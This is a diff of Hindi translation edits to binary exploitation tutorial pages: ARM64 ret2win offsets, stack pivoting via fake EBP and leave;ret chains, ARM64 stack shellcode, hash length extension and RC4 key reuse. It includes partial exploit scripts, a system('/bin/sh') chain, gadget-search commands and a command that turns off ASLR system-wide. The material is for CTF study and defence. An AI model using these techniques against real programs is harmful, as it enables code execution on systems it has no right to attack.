`win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो उत्पन्न करता है जिसे `ret2win` के साथ शोषण किया गया है। +- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो बनाता है जिसे ret2win के साथ शोषण किया गया है। - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64 बिट, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - arm64, PIE, यह एक PIE लीक देता है `win` फ़ंक्शन वास्तव में 2 फ़ंक्शन हैं इसलिए ROP गैजेट जो 2 फ़ंक्शन को कॉल करता है - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) -- ARM64, ऑफ-बाय-वन `win` फ़ंक्शन को कॉल करने के लिए +- ARM64, एक `win` फ़ंक्शन को कॉल करने के लिए ऑफ-बाय-वन ## ARM64 उदाहरण + {{#ref}} ret2win-arm64.md {{#endref}} diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 668c3dc6f..187e56d5f 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -4,6 +4,7 @@ arm64 का परिचय यहाँ खोजें: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -31,13 +32,13 @@ return 0; ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` -## Finding the offset +## ऑफ़सेट खोजना -### Pattern option +### पैटर्न विकल्प यह उदाहरण [**GEF**](https://github.com/bata24/gef) का उपयोग करके बनाया गया था: -gdb को gef के साथ स्टार्ट करें, पैटर्न बनाएं और इसका उपयोग करें: +gef के साथ gdb शुरू करें, पैटर्न बनाएं और इसका उपयोग करें: ```bash gdb -q ./ret2win pattern create 200 @@ -55,7 +56,7 @@ pattern search $x30 ### स्टैक ऑफसेट विकल्प -स्टैक पते को प्राप्त करने से शुरू करें जहाँ pc रजिस्टर संग्रहीत है: +उस स्टैक पते को प्राप्त करने से शुरू करें जहाँ pc रजिस्टर संग्रहीत है: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc @@ -71,7 +72,7 @@ c ```
-इस पैटर्न को मेमोरी में खोजें: +इस पैटर्न को मेमोरी में कहाँ स्टोर किया गया है, इसे खोजें:
@@ -135,7 +136,7 @@ p.close() ```
-आप ARM64 में एक और off-by-one उदाहरण [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) में पा सकते हैं, जो एक काल्पनिक भेद्यता में वास्तविक off-by-**one** है। +आप ARM64 में एक और off-by-one उदाहरण [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) में पा सकते हैं, जो एक काल्पनिक कमजोरी में वास्तविक off-by-**one** है। ## With PIE @@ -144,7 +145,7 @@ p.close() ### Off-by-2 -बिना किसी लीक के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (**0x7d4**) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें: +बिना किसी लीक के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जिस रिटर्न पते को ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (**0x7d4**) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:
```python diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 901aa28ee..3e6e7cc06 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -22,15 +22,15 @@ And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's poss यह तकनीक विशेष रूप से उपयोगी है जब आप **सहेजे गए EBP/RBP को बदल सकते हैं लेकिन EIP/RIP को सीधे बदलने का कोई तरीका नहीं है**। यह फ़ंक्शन एपिलॉग व्यवहार का लाभ उठाता है। -यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड/ROP श्रृंखला पता स्थित है (amd64 पर 8 बाइट्स / x86 पर 4 बाइट्स `pop` के लिए), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही फ़ंक्शन लौटता है, `leave` RSP को तैयार स्थान पर सेट करता है और अगला `pop rbp` RSP को कम करता है, **जिससे यह उस पते की ओर इशारा करता है जिसे हमलावर ने वहां संग्रहीत किया है**। फिर `ret` उस पते का उपयोग करेगा। +यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड/ROP श्रृंखला पता स्थित है (amd64 पर 8 बाइट्स / x86 पर 4 बाइट्स `pop` के लिए), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही फ़ंक्शन लौटता है, `leave` RSP को तैयार स्थान पर सेट करता है और अगला `pop rbp` RSP को कम करता है, **जिससे यह उस पते की ओर इशारा करता है जो हमलावर द्वारा वहां संग्रहीत किया गया है**। फिर `ret` उस पते का उपयोग करेगा। -ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह पता जहां ESP/RSP जाने वाला है, और उस पते पर संग्रहीत मान जिसे `ret` उपभोग करेगा। +ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह पता जहां ESP/RSP जाने वाला है, और उस पते पर संग्रहीत मान जो `ret` उपभोग करेगा। #### Exploit Construction -पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाने डेटा/पते लिख सकते हैं**। RSP यहाँ इशारा करेगा और **पहला `ret` उपभोग करेगा**। +पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाना डेटा/पते लिख सकते हैं**। RSP यहाँ इशारा करेगा और **पहला `ret` उपभोग करेगा**। -फिर, आपको उस पते का चयन करने की आवश्यकता है जिसका उपयोग `ret` द्वारा **निष्पादन स्थानांतरित करने के लिए** किया जाएगा। आप उपयोग कर सकते हैं: +फिर, आपको उस पते का चयन करना होगा जिसका उपयोग `ret` द्वारा **निष्पादन स्थानांतरित करने के लिए** किया जाएगा। आप उपयोग कर सकते हैं: - एक मान्य [**ONE_GADGET**](https://github.com/david942j/one_gadget) पता। - **`system()`** का पता उसके उपयुक्त लौटने और तर्कों के साथ (x86 पर: `ret` लक्ष्य = `&system`, फिर 4 जंक बाइट्स, फिर `&"/bin/sh"`). @@ -41,9 +41,9 @@ And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's poss #### Off-By-One Exploit -एक भिन्नता है जिसका उपयोग तब किया जाता है जब आप **सहेजे गए EBP/RBP के सबसे कम महत्वपूर्ण बाइट को केवल संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, को मूल EBP/RBP के साथ पहले तीन/पांच बाइट्स साझा करना चाहिए ताकि 1-बाइट ओवरराइट इसे पुनर्निर्देशित कर सके। आमतौर पर निम्न बाइट (ऑफसेट 0x00) को निकटतम पृष्ठ/संरेखित क्षेत्र के भीतर जितना संभव हो सके कूदने के लिए बढ़ाया जाता है। +एक भिन्नता है जिसका उपयोग तब किया जाता है जब आप **सहेजे गए EBP/RBP के सबसे कम महत्वपूर्ण बाइट को केवल संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, को मूल EBP/RBP के साथ पहले तीन/पांच बाइट्स साझा करना चाहिए ताकि 1-बाइट ओवरराइट इसे पुनर्निर्देशित कर सके। आमतौर पर निम्न बाइट (ऑफसेट 0x00) को बढ़ाया जाता है ताकि निकटवर्ती पृष्ठ/संरेखित क्षेत्र के भीतर जितना संभव हो सके कूद सके। -स्टैक में RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना भी सामान्य है ताकि यह अधिक संभावित हो कि नया RSP स्लेड के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है। +यह भी सामान्य है कि स्टैक में एक RET स्लेड का उपयोग किया जाए और असली ROP श्रृंखला को अंत में रखा जाए ताकि यह अधिक संभावित हो कि नया RSP स्लेड के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है। ### EBP Chaining @@ -56,7 +56,7 @@ And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's poss - `&(leave;ret)` -> `system` समाप्त होने के बाद, RSP को अगले फर्जी EBP पर ले जाता है और जारी रहता है। - `&("/bin/sh")` -> `system` के लिए तर्क। -इस तरह यह संभव है कि कई फर्जी EBPs को जोड़कर कार्यक्रम के प्रवाह को नियंत्रित किया जाए। +इस तरह यह संभव है कि कई फर्जी EBPs को जोड़कर कार्यक्रम के प्रवाह को नियंत्रित किया जा सके। यह एक [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) की तरह है, लेकिन अधिक जटिल और केवल किनारे के मामलों में उपयोगी है। @@ -96,13 +96,13 @@ pause() p.sendline(payload) print(p.recvline()) ``` -> amd64 alignment tip: System V ABI को कॉल साइट्स पर 16-बाइट स्टैक संरेखण की आवश्यकता होती है। यदि आपकी श्रृंखला `system` जैसी फ़ंक्शंस को कॉल करती है, तो संरेखण बनाए रखने और `movaps` क्रैश से बचने के लिए कॉल से पहले एक संरेखण गैजेट (जैसे, `ret`, या `sub rsp, 8 ; ret`) जोड़ें। +> amd64 संरेखण टिप: System V ABI कॉल साइट्स पर 16-बाइट स्टैक संरेखण की आवश्यकता होती है। यदि आपकी श्रृंखला `system` जैसी फ़ंक्शंस को कॉल करती है, तो संरेखण बनाए रखने और `movaps` क्रैश से बचने के लिए कॉल से पहले एक संरेखण गैजेट (जैसे, `ret`, या `sub rsp, 8 ; ret`) जोड़ें। -## EBP का उपयोग नहीं किया जा सकता +## EBP का उपयोग नहीं किया जा सकता है -जैसा कि [**इस पोस्ट में समझाया गया है**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), यदि कोई बाइनरी कुछ ऑप्टिमाइजेशन के साथ या फ्रेम-पॉइंटर ओमिशन के साथ संकलित की गई है, तो **EBP/RBP कभी भी ESP/RSP को नियंत्रित नहीं करता**। इसलिए, EBP/RBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट विफल हो जाएगा क्योंकि प्रोलॉग/एपिलॉग फ्रेम पॉइंटर से पुनर्स्थापित नहीं करता। +जैसा कि [**इस पोस्ट में समझाया गया है**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), यदि कोई बाइनरी कुछ ऑप्टिमाइजेशन के साथ या फ़्रेम-पॉइंटर की अनुपस्थिति में संकलित की गई है, तो **EBP/RBP कभी भी ESP/RSP को नियंत्रित नहीं करता है**। इसलिए, EBP/RBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट विफल हो जाएगा क्योंकि प्रोलॉग/एपिलॉग फ़्रेम पॉइंटर से पुनर्स्थापित नहीं होता है। -- ऑप्टिमाइज नहीं किया गया / फ्रेम पॉइंटर का उपयोग किया गया: +- अनुकूलित नहीं किया गया / फ़्रेम पॉइंटर का उपयोग किया गया: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ret # return ``` -On amd64 आप अक्सर `pop rbp ; ret` देखेंगे इसके बजाय `leave ; ret`, लेकिन अगर फ्रेम पॉइंटर पूरी तरह से छोड़ा गया है तो फिर `rbp`-आधारित उपसंहार के माध्यम से पिवट करने के लिए कोई नहीं है। +On amd64 आप अक्सर `pop rbp ; ret` देखेंगे इसके बजाय `leave ; ret`, लेकिन अगर फ्रेम पॉइंटर पूरी तरह से छोड़ा गया है तो `rbp`-आधारित उपसंहार के माध्यम से पिवट करने के लिए कोई नहीं है। ## RSP को नियंत्रित करने के अन्य तरीके @@ -182,7 +182,8 @@ xchg , rsp ``` ### jmp esp -ret2esp तकनीक की जांच करें यहाँ: +यहाँ ret2esp तकनीक की जाँच करें: + {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md @@ -190,7 +191,7 @@ ret2esp तकनीक की जांच करें यहाँ: ### तेजी से पिवट गैजेट्स खोजना -अपने पसंदीदा गैजेट खोजक का उपयोग करके क्लासिक पिवट प्राइमिटिव्स के लिए खोजें: +क्लासिक पिवट प्राइमिटिव्स के लिए अपने पसंदीदा गैजेट फाइंडर का उपयोग करें: - `leave ; ret` फ़ंक्शनों या लाइब्रेरी में - `pop rsp` / `xchg rax, rsp ; ret` @@ -206,25 +207,26 @@ ropper --file ./vuln --search "xchg rax, rsp ; ret" # ROPgadget ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" ``` -### Classic pivot staging pattern +### क्लासिक पिवट स्टेजिंग पैटर्न एक मजबूत पिवट रणनीति जो कई CTFs/exploits में उपयोग की जाती है: -1) एक छोटे प्रारंभिक ओवरफ्लो का उपयोग करें ताकि `read`/`recv` को एक बड़े लिखने योग्य क्षेत्र (जैसे, `.bss`, heap, या मैप किए गए RW मेमोरी) में कॉल किया जा सके और वहां एक पूर्ण ROP श्रृंखला रखी जा सके। +1) एक छोटे प्रारंभिक ओवरफ्लो का उपयोग करें `read`/`recv` को एक बड़े लिखने योग्य क्षेत्र (जैसे, `.bss`, heap, या मैप किए गए RW मेमोरी) में कॉल करने के लिए और वहां एक पूर्ण ROP श्रृंखला रखें। 2) एक पिवट गैजेट (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) में लौटें ताकि RSP को उस क्षेत्र में ले जाया जा सके। -3) स्टेज की गई श्रृंखला के साथ जारी रखें (जैसे, libc लीक करें, `mprotect` कॉल करें, फिर `read` शेलकोड, फिर उस पर कूदें)। +3) स्टेज्ड श्रृंखला के साथ जारी रखें (जैसे, libc लीक करें, `mprotect` कॉल करें, फिर `read` शेलकोड, फिर उस पर कूदें)। -## Modern mitigations that break stack pivoting (CET/Shadow Stack) +## आधुनिक रोकथाम जो स्टैक पिवटिंग को तोड़ती हैं (CET/शैडो स्टैक) -आधुनिक x86 CPUs और OSes लगातार **CET Shadow Stack (SHSTK)** को लागू कर रहे हैं। SHSTK सक्षम होने पर, `ret` सामान्य स्टैक पर लौटने के पते की तुलना हार्डवेयर-सुरक्षित शैडो स्टैक से करता है; कोई भी असंगति एक नियंत्रण-सुरक्षा दोष उठाती है और प्रक्रिया को समाप्त कर देती है। इसलिए, EBP2Ret/leave;ret-आधारित पिवट जैसी तकनीकें पहले `ret` के पिवटेड स्टैक से निष्पादित होते ही क्रैश हो जाएंगी। +आधुनिक x86 CPUs और OSes लगातार **CET शैडो स्टैक (SHSTK)** लागू कर रहे हैं। SHSTK सक्षम होने पर, `ret` सामान्य स्टैक पर लौटने के पते की तुलना हार्डवेयर-सुरक्षित शैडो स्टैक से करता है; कोई भी असंगति एक नियंत्रण-सुरक्षा दोष उठाती है और प्रक्रिया को समाप्त कर देती है। इसलिए, EBP2Ret/leave;ret-आधारित पिवट जैसी तकनीकें पहले `ret` के पिवटेड स्टैक से निष्पादित होते ही क्रैश हो जाएंगी। - पृष्ठभूमि और गहरे विवरण के लिए देखें: + {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}} -- Linux पर त्वरित जांच: +- लिनक्स पर त्वरित जांच: ```bash # 1) Is the binary/toolchain CET-marked? readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' @@ -246,16 +248,16 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr ## ARM64 -ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर** को स्टोर और पुनः प्राप्त नहीं करते हैं। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता है, बल्कि **`x30`** के अंदर के पते पर लौटता है। +ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते**। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि **`x30`** के अंदर के पते पर लौटता है। -इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको **`x30`** रजिस्टर को नियंत्रित करने का एक तरीका चाहिए। +इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल हो जाते हैं, तो भी आपको **`x30`** रजिस्टर को नियंत्रित करने का एक तरीका चाहिए। - प्रोलॉग ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 -mov x29, sp // FP फ्रेम रिकॉर्ड की ओर इशारा करता है +mov x29, sp // FP फ्रेम रिकॉर्ड को इंगित करता है ``` - एपिलॉग @@ -267,9 +269,10 @@ ret ``` > [!CAUTION] -> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारणवश `SP` स्टैक से अपना पता ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना। +> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारणवश `SP` अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना। + +इसके अलावा, निम्नलिखित पृष्ठ पर आप **Ret2esp in ARM64** का समकक्ष देख सकते हैं: -इसके अलावा, निम्नलिखित पृष्ठ पर आप **ARM64 में Ret2esp** का समकक्ष देख सकते हैं: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md @@ -280,7 +283,7 @@ ret - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) -- 64 बिट, एक रेट स्लेड के साथ एक रोप चेन के साथ एक से बाहर का शोषण +- 64 बिट्स, एक रॉप चेन के साथ एक रिट स्लेड से एक द्वारा एक शोषण - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक और एक qword का WWW प्रदान करता है। पहले स्टैक लीक प्राप्त करें और WWW का उपयोग करके वापस जाएं और pie लीक प्राप्त करें। फिर WWW का उपयोग करके एक शाश्वत लूप बनाएं जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([यहां अधिक जानकारी](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "शाश्वत" लेखन का दुरुपयोग करते हुए, .bss में एक ROP चेन लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करते हुए कॉल किया जाता है। - Linux कर्नेल दस्तावेज़: नियंत्रण-प्रवाह प्रवर्तन प्रौद्योगिकी (CET) छाया स्टैक — SHSTK, `nousershstk`, `/proc/$PID/status` ध्वज, और `arch_prctl` के माध्यम से सक्षम करने के विवरण। https://www.kernel.org/doc/html/next/x86/shstk.html diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index dea39accd..1f17b7f54 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -4,6 +4,7 @@ arm64 का परिचय यहाँ खोजें: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -33,9 +34,9 @@ ASLR को रोकने के लिए निष्पादित कर ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` -[**bof की ऑफसेट प्राप्त करने के लिए इस लिंक की जांच करें**](../ret2win/ret2win-arm64.md#finding-the-offset). +[**bof के ऑफसेट को प्राप्त करने के लिए इस लिंक की जांच करें**](../ret2win/ret2win-arm64.md#finding-the-offset). -Exploit: +शोषण: ```python from pwn import * diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index e6374d55e..d47df67eb 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -4,7 +4,7 @@ ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -अधिक रहस्यमय भाषाओं की खोज के लिए उस विकी की जांच करें +इस विकी को अधिक रहस्यमय भाषाओं की खोज के लिए देखें ## Malbolge ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 286918ad3..6d6c3830e 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,28 +4,28 @@ ## Summary of the attack -कल्पना कीजिए कि एक सर्वर कुछ **डेटा** को **साइन** कर रहा है, जिसमें कुछ ज्ञात स्पष्ट पाठ डेटा के साथ एक **गुप्त** जोड़ा जा रहा है और फिर उस डेटा का हैश बनाया जा रहा है। यदि आप जानते हैं: +कल्पना कीजिए एक सर्वर जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा में एक गुप्त को जोड़कर **हस्ताक्षरित** कर रहा है और फिर उस डेटा का हैश बना रहा है। यदि आप जानते हैं: -- **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) +- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) - **स्पष्ट पाठ डेटा** - **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)** - **पैडिंग ज्ञात है** - आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है - पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है -तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है। +तो, एक **हमलावर** के लिए **डेटा जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** उत्पन्न करना संभव है। ### How? -बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक** का हैश बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक** को **जोड़ते** हैं और **हैश करते** हैं। +बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक का हैश** बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसका हैश बनाते हैं**। फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ -यदि एक हमलावर स्ट्रिंग "append" को जोड़ना चाहता है, तो वह कर सकता है: +यदि एक हमलावर "append" स्ट्रिंग जोड़ना चाहता है, तो वह कर सकता है: -- 64 "A"s का MD5 जनरेट करें +- 64 "A"s का MD5 उत्पन्न करें - पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें -- स्ट्रिंग "append" जोड़ें -- हैश को समाप्त करें और परिणामी हैश **"secret" + "data" + "padding" + "append" के लिए एक वैध होगा** +- "append" स्ट्रिंग जोड़ें +- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा ### **Tool** diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index 0d36d9eb8..e7ca2a0a7 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,13 +1,17 @@ +# RC4 Encrypt and Decrypt + {{#include ../banners/hacktricks-training.md}} -यदि आप किसी तरह RC4 का उपयोग करके एक plaintext को एन्क्रिप्ट कर सकते हैं, तो आप उसी पासवर्ड का उपयोग करके उस RC4 द्वारा एन्क्रिप्ट की गई किसी भी सामग्री को केवल एन्क्रिप्शन फ़ंक्शन का उपयोग करके डिक्रिप्ट कर सकते हैं। +यदि आप किसी तरह RC4 का उपयोग करके एक plaintext को एन्क्रिप्ट कर सकते हैं, तो आप उसी पासवर्ड का उपयोग करके उस RC4 द्वारा एन्क्रिप्ट की गई किसी भी सामग्री को डिक्रिप्ट कर सकते हैं, बस एन्क्रिप्शन फ़ंक्शन का उपयोग करके। यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं: + {{#ref}} https://0xrick.github.io/hack-the-box/kryptos/ {{#endref}} + {{#ref}} https://0xrick.github.io/hack-the-box/kryptos/ {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index c8e594eca..893e6bc9e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -4,6 +4,7 @@ ## इमेज बनाना और माउंट करना + {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} @@ -12,13 +13,15 @@ यह **छवि प्राप्त करने के बाद करने के लिए पहला कदम जरूरी नहीं है**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का स्वतंत्र रूप से उपयोग कर सकते हैं यदि आपके पास एक फ़ाइल, फ़ाइल-प्रणाली छवि, मेमोरी छवि, pcap... है, इसलिए यह **इन क्रियाओं को ध्यान में रखना अच्छा है**: + {{#ref}} malware-analysis.md {{#endref}} -## इमेज का निरीक्षण करना +## इमेज का निरीक्षण + +यदि आपको एक **फॉरेंसिक इमेज** दी गई है, तो आप **पार्टीशनों, फ़ाइल-प्रणाली** का विश्लेषण करना शुरू कर सकते हैं और संभावित **दिलचस्प फ़ाइलों** (यहां तक कि हटाई गई) को **पुनर्प्राप्त** कर सकते हैं। जानें कैसे: -यदि 